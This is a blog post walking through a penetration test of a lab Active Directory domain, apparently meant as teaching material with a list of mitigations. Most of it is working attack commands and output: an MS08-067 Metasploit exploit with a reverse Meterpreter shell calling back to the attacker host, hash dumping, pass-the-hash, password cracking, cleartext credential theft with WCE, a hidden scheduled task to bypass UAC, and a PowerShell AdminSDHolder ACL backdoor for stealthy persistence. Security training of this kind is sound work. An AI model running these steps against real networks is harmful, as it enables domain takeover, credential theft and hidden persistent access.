Pentesting an Active Directory infrastructure

We will see in this post some steps of a pentest against an ADDS domain. This pentest focuses only on the Microsoft System and does not take into account Antivirus, Firewall, IDS and IPS protections. The parts we describe in detail are scanning, exploitation and maintaining access. The pentest is performed with BackTrack 5 R3, you can download it here. The tools we use are Nmap, Nessus,Metasploit (the hacker’s framework, exploits are written in ruby), John the Ripper and Powershell. The pentest’s goal is to retrieve domain administrator credentials and maintain the access on the ADDS domain discretly.

1) SCANNING:

The purpose of this step is to identify what computers are running in our test ADDS domain and which role and vulnerabilities are present on each computer. All the computers are in the same subnet. We launch the following Nmap command in order to launch the network scan (IP range is 192.168.206.132 to 255):

nmap -sS -p- -PN -O 192.168.206.132-255

The first discovered machine returns the following results:

Nmap scan report for ldap389-dc1.ldap389.local
(192.168.206.134)
Host is up (0.0023s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
670/tcp open vacdsm-sws
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
[…]
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).

Because of the open ports and listening services we can easily assume that this machine is a domain controller. The OS cannot be retrieved under Nmap 6.01: It is a Windows 2012 server (Update: fixed in Nmap 6.25).

The tool also discovers a Windows 2008 SP1 server:

Nmap scan report for ldap389-srv2008.ldap389.local
(192.168.206.138)
Host is up (0.00074s latency).
Not shown: 65524 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Device type: general purpose
Running: Microsoft Windows 7|2008
OS CPE: cpe:/o:microsoft:windows_7
cpe:/o:microsoft:windows_server_2008::sp1
OS details: Microsoft Windows 7 or Windows Server 2008 SP1

On this server the SMB 445 and RDP 3389 services are listening, which is useful information for the exploitation phase.

Finally we have a Windows 2003 SP0 which is not supported since April 10, 2007

Nmap scan report for ldap389-srv2003.ldap389.local
(192.168.206.136)
Host is up (0.00100s latency).
Not shown: 65527 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
3306/tcp open mysql
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional
cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003

In addition to not being up to date, this webserver is running DVWA: Perfect to practice your pentesting skills :-). This server is a good match for scanning its vulnerabilities.

We launch Nessus in safe scan mode against the ldap389-srv2003 server (192.168.206.136):

We will exploit the MS08-67 vulnerabilty in order to take control of the server

This vulnerability could also be discovered with Nmap, using the following command:

nmap --script smb-check-vulns.nse -p445 192.168.206.136

Here is the result:

Starting Nmap 6.01 ( http://nmap.org ) at 2012-11-02 14:46 EDT
Nmap scan report for ldap389-srv2003.ldap389.local
(192.168.206.136)
Host is up (0.00083s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: CHECK DISABLED (add ‘–script-args=unsafe=1’ to run)
| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add ‘–script-args=unsafe=1’ to run)
| MS06-025: CHECK DISABLED (remove ‘safe=1’ argument to run)
|_ MS07-029: CHECK DISABLED (remove ‘safe=1’ argument to run)
Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds

Note about the vulnerability scan (Nessus or Nmap): Always lauch a safe scanotherwise you might crash the targetted OS.

We can now start the exploitation phase, because we have accurate information on the machines running on the domain, here is diagram of the intrusion scenario:

The password for the local admin account is the same on the servers ldap389-srv2003 and ldap389-srv2003, we will use the pass the hash technique in order to take control of the Windows 2008
server.

2) EXPLOITATION:

We will use Metasploit in order to exploit the MS08-67 vulnerability on the ldap389-srv2003 server. To have a look at the exploit’s ruby code and comments just launch the following command on your Backtrack box:

cd /pentest/exploits/framework/modules/exploits/windows/smb
gedit ms08_067_netapi.rb

In order to setup the options before launching the exploit, run the following commands under the Msfconsole:

use windows/smb/ms08_067_netapi
set RHOST 192.168.206.136
set LHOST 192.168.206.135
set PAYLOAD windows/meterpreter/reverse_tcp
show options

Launch the exploit with the exploit command:

We loaded the Meterpreter payload in order to have the necessary tools to begin the exploitation on this server.

The getuid command tells us that the Meterpreter server is running as SYSTEM on the host :-). We now launch the hashdump command, in order to retrieve the password hash of the local admin account. Those local accounts hashes are stored in the local SAM database:

meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter> hashdump
Administrator:500:'aad3b435b51404eeaad3b435b51404ee:b90930db6268c82853cbfdc1f7f1537d':::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089d0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:68813b44fbd2ae8606c79c1afb24d5e6:::

We now have the password hash for the local admin account of ldap389-srv2003, we will now take control of ldap389-srv2008 who has the same password thanks to the pass the hash exploit.

Before that we will gather password hashes of some ldap389.local domain accounts stored on the ldap389-srv2003 machine via the cached logons process. We will try to crack those passwords offline later… We gather those hashes with thecachedump command. Those password hashes are located in a protected portion of the registry under HKLM\Security\Cache\NL$x, where x is a number representing each cached credential.

meterpreter> run post/windows/gather/cachedump

[*] Executing module against LDAP389-SRV2003
[*] Cached Credentials Setting: 10 – (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key…
[*] Obtaining Lsa key…
[*] XP compatible client
[*] Obtaining LK$KM…
[*] Dumping cached credentials…
[*] John the Ripper format:
srvadm:9ea326b1b8161510713bb3ff48d3ff44::
user0002:fd44c840886e0a17fa1810a69407f6f9::
[*] Hash are in MSCACHE format. (mscash)

Let’s take control of the ldap389-srv2008 machine with the pass the hashexploit, thanks to the hash gathered with hashdump. We discovered in part1)scan that the SMB 445 port is open on this server, so we can use the pass the hash exploit:

Use /windows/smb/psexec
set RHOST 192.168.206.138
set LHOST 192.168.206.135
set SMBUser Administrator
set SMBDomain LDAP389-SRV2008
'set SMBPass aad3b435b51404eeaad3b435b51404ee:b90930db6268c82853cbfdc1f7f1537d'
exploit

Now we have access to ldap389-srv2008, we launch again a cachedump in order to gather more password hashes of ldap389.local domain accounts:

[*] Executing module against LDAP389-2008
[-] Cache setting not found…
[*] Obtaining boot key…
[*] Obtaining Lsa key…
[*] Trying ‘Vista’ style…
[*] Vista compatible client
[*] Obtaining LK$KM…
[*] Dumping cached credentials…
[*] John the Ripper format:
srvadm:9ea326b1b8161510713bb3ff48d3ff44::
domainadm:08f5fb57d58e5cb717bdccf1ae06fb21::
user0001:6d9bd71cfe5023ae976f5622bb299c83::
[*] Hash are in MSCACHE_VISTA format. (mscash2)

We will try to crack the password hashes retrieved on both machines ldap389-srv2003 and ldap-srv2008 offline with John the ripper.

Those hashes are computed with the following cryptographic algorithms:

  • Windows 2003, format mscash : MD4(MD4(password) + username)
  • Windows 2008, format mscash2 : PKCS#5(MD4(MD4(password) + username))

Only cached logons password hashes having a weak password can be broken in a reasonable amount of time, for more information on the subject read this article:

cd /pentest/passwords/john
 
'./john --format=mscash hash-ldap389-srv2003.txt'
Loaded 2 password hashes with 2 different salts (M$ Cache Hash MD4 [32/32])
Remaining 1 password hashes with 1 different salts
'user0002	(password)'
Session aborted
 
'./john --format=mscash2 hash-ldap389-srv2008.txt'
Loaded 3 password hashes with 3 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 4x])
' user0001         (user0001)'
guesses: 1  time: 0:00:00:18 3.04% (2) (ETA: Sun Oct 28 18:06:57 2012)  c/s: 704  trying: knight - sierra
Session aborted

The credentials user0002/password and user0001/user0001 were cracked easily but those accounts are just domain users :-( Check group membership with the following command:

net user /DOMAIN %USERNAME%

In chapter 1)scanning we discovered that ldap389-srv2008 might have Remote Desktop Services enabled because the port 3389 was open. It means that some other users might have an open session on the machine at this moment. Let’s have a look at the running processes with the PS command:

meterpreter > ps
3028  884   dwm.exe               x86_64  2           LDAP389\domainadm             C:\Windows\System32\dwm.exe
meterpreter > shell
Process 1112 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Windows\system32>net user /DOMAIN domainadm
The request will be processed at a domain controller for domain ldap389.local.
 User name                    domainadm
Full Name                    domainadm
Comment                      
Users comment               
Country code                 000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            10/25/2012 8:17:21 PM
Password expires             12/6/2012 8:17:21 PM
Password changeable          10/26/2012 8:17:21 PM
Password required            Yes
User may change password     Yes
 
Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   10/28/2012 3:20:31 PM
 
Logon hours allowed          All
 
Local Group Memberships      
'Global Group memberships     *Domain Admins        *Domain Users'         
The command completed successfully.
C:\Windows\system32>cd /d c:\
cd /d c:\
c:\>mkdir c:\tools
mkdir c:\tools
c:\> exit
meterpreter>migrate 3028
[*] Migrating to 3028...
[*] Migration completed successfully.

The dwm.exe (id 3028) process is running under the “LDAP389\domainadm” account, using the netuser command tells us that this user is a domain administrator :-) We migrate the payload to this process and there you go: Your shell is running with the domain admin privileges… We also created a directory c:\tools, we will upload in this folder Windows Credential Editor, this tool allows you to read clear text passwords stored in memory by the lsass.exe process. With that tool you can retrieve clear text password of the users having a TS session opened on the server or the clear text password of the accounts configured to run a service on the machine:

meterpreter>upload wce.exe c:\\tools
meterpreter > shell
Process 1112 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Windows\system32>cd /d c:\tools
C:\tools>wce -w
wce -w
WCE v1.3beta (X64) (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.
'domainadm\LDAP389:St@giaire-P@pam@man12'
LDAP389-2008$\LDAP389:0(v5K,[L0!m$42m9/e#=&fh-NPROjoUN1Wp#s0uI D2*49WbyLS..>cB7jbQg5y`s/-l*TR,^Ym)9*dwyV2T9`YGPxR MEYvU'qknb]?f.a9GKWzCfF"

At this point we can consider that the exploitation phase is over! Some similar tools exist, they are presented in this article.

A last place where you can retrieve clear text passwords is the LSA Secrets. They are stored in registry like the cached logons: Under HKLM\SECURITY\Policy\Secrets\, if a service runs under a domain account it is a key named _SC_ServiceName. For more information read this post, you can also decrypt LSA secrets with PowerShell thanks to this script.

We will now describe how to mitigate these kind of attacks:

  1. Patch your systems! You might want to setup a validation process, read this post if you want to use GPOs and WSUS
  2. Do not use the same local admin account for all your servers (cf. pass the hash technique). Or use GPO setting “Deny access to this computer from the network” for local the admin account in order to prevent PtH attacks with this account
  3. Use an appropriate password policy: Password must meet complexity requirements and expire. (cf. offline cracking). Use account lockout policy
  4. Set the LMCompatibilityLevel value on your domain the highest you can.
  5. Set up a cached logons count of 0 on your servers and desktop computers, of 1 on your laptops. However do not apply this setting on yourcluster servers.
  6. Revoke the debug programs right for the local administrators group on your machines. Grant this right to a restricted AD group. Be aware that the cluster service needs this right to run properly.
  7. Use MSA under Windows 7/2008 or gMSA under Windows 8/2012 in order to run services with domain accounts, instead of regular domain accounts for which you never change the password. Furthermore an MSA cannot perform an interactive logon.
  8. Automatically log off disconnected TS sessions via GPO: This avoids having TS sessions remaining on a server, and as a consequence your clear text password stored in the server’s memory.
  9. An employee who is a domain administrator should have three accounts: One standard account in order to access to his Email and write documents, one account for administrating servers: This account is not a domain administrator (use restricted group policies to define an AD group which is member of the local administrator group). Finally one domain administrator account, this account performs logons only against DCs and an AD Administration console, you should limit as much as possible the machines where the domain administrator logs on and regularly analyse those machine’s security eventlog.
  10. Try to apply the principle of least privilige as much as you can when creating an AD account

In order to have more details of some of the mitigation processes I described, I suggest you read this SANS document.

Now we are domain admin and the exploitation phase is over we will see how to maintain access discreetly on this test domain.

3) MAINTAIN ACCESS:

In order to manipulate AD objects more easily it could be good to have the RSAT-AD-PowerShell feature installed on the ldap389-srv2008 machine. To install this feature we will upload the Install-ADDS-PSH.ps1 script in our c:\tools directory and launch the script for the meterpreter shell:

c:\tools>powershell.exe -f install-ADDS-Psh.ps1
powershell.exe -f install-ADDS-Psh.ps1
Add-WindowsFeature : Because of security restrictions imposed by User Account Control, you must run Add-WindowsFeature in a Windows PowerShell session opened
with elevated rights
. To do this, right-click the Windows PowerShell or Command
Prompt Start menu object that you are using to start your Windows PowerShell s
essions, and then click Run as administrator.
At C:\tools\install-ADDS-Psh.ps1:2 char:19
+ add-windowsfeature <<<< RSAT-AD-PowerShell + CategoryInfo : PermissionDenied: (:) [Add-WindowsFeature], Exce ption + FullyQualifiedErrorId : NotAdministrator,Microsoft.Windows.ServerManager .Commands.AddWindowsFeatureCommand

Here is the Powershell script:

import-module servermanager
add-windowsfeature RSAT-AD-PowerShell

The UAC blocks the installation of the feature, and we want to keep using the meterpreter in order to remain discreet. The workaround is to create a scheduled task named InstallPSH with the meterpreter shell running under SYSTEM on the server, run the task and delete it:

meterpreter > shell
Process 1980 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>schtasks.exe /create /TN InstallPSH /XML c:\tools\PSH.xml
C:\Windows\system32>schtasks.exe /run /I /TN InstallPSH
C:\Windows\system32>schtasks.exe /delete /TN InstallPSH /F

The scheduled task settings are imported from an XML file uploaded in c:\tools\PSH.xml. The RunLevel section allows you to bypass the UAC

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2012-10-28T16:53:11.6978602</Date>
    <Author>TOTO</Author>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <StartBoundary>2010-10-28T16:50:57.9114026</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-f c:\tools\install-ADDS-Psh.ps1</Arguments>
    </Exec>
  </Actions>
</Task>

Once the RSAT-AD-PowerShell feature is installed we can migrate with the meterpreter to a process running under the ldap389\domainadm account and launch Powershell scripts with the ADDS cmdlets :-)

One obvious solution to maintain the access would be to create a new account member of the domain administrators group and set up password never expires on that account. But this solution is not really discreet because the members of this group are generally monitored.

Instead we will modify the ACL of the AdminSDHolder object, and grant modify rights for the user0001/user0001 account we cracked during the 2)exploitationphase. This account is modified so that its password never expires, generally a user will never complain or report this to the IT department :-)

So why modify this particular object in AD? The AdminSDHolder object has a unique ACL, which is used to control the permissions of built-in privileged Active Directory groups and their members, for those objects the adminCount attribute equals 1. If this protection process finds that security is different on the protected object than on the AdminSDHolder object, it will force AdminSDHolder’s ACL on it.

The domain administrators group and the ldap389\domainadm account are protected objects, so if we modify the AdminSDHolder ACL, the ACL will be also modified on those two objects:

In order to set “password never expires” for the test0001 account and add the permissions for this account on the AdminSDHolder object we use the hack-ADDS-psh.ps1 script, this post helped me to play with ACLs:

import-module Activedirectory
get-aduser user0001 | set-aduser -PasswordNeverExpires $true
 
$obj = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=ldap389,DC=local"
 
$sid = (get-aduser user0001).sid
$aceOne = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($sid, 'CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, 
 
WriteOwner', 'Allow', (New-Object GUID), 'None')
$obj.psbase.ObjectSecurity.AddAccessRule($aceOne)
$obj.psbase.CommitChanges()
 
$acl = $obj.psbase.ObjectSecurity
$acl.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | where{$_.IdentityReference -eq $sid}

Just launch the script under the meterpreter shell attached to a process running under the ldap389\domainadm account:

Voila! You can modify the domain admins group without being a domain admin yourself. So I suggest you monitor the ACL of the AdminSDHolder object, in addition to the traditional group membership auditing.

Bibliography:
Syngress: The basics of hacking and penetration testing.
MS Press: Windows Server 2008 Security Resource Kit.
SANS: SEC560: Scanning, Exploitation, Password Attacks.
InformIT: Protect Your Windows Network: from Perimeter to Data.

Special thanks to Regre$$ion $oftware for the long discussions and knowledge sharing during our coffee breaks

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s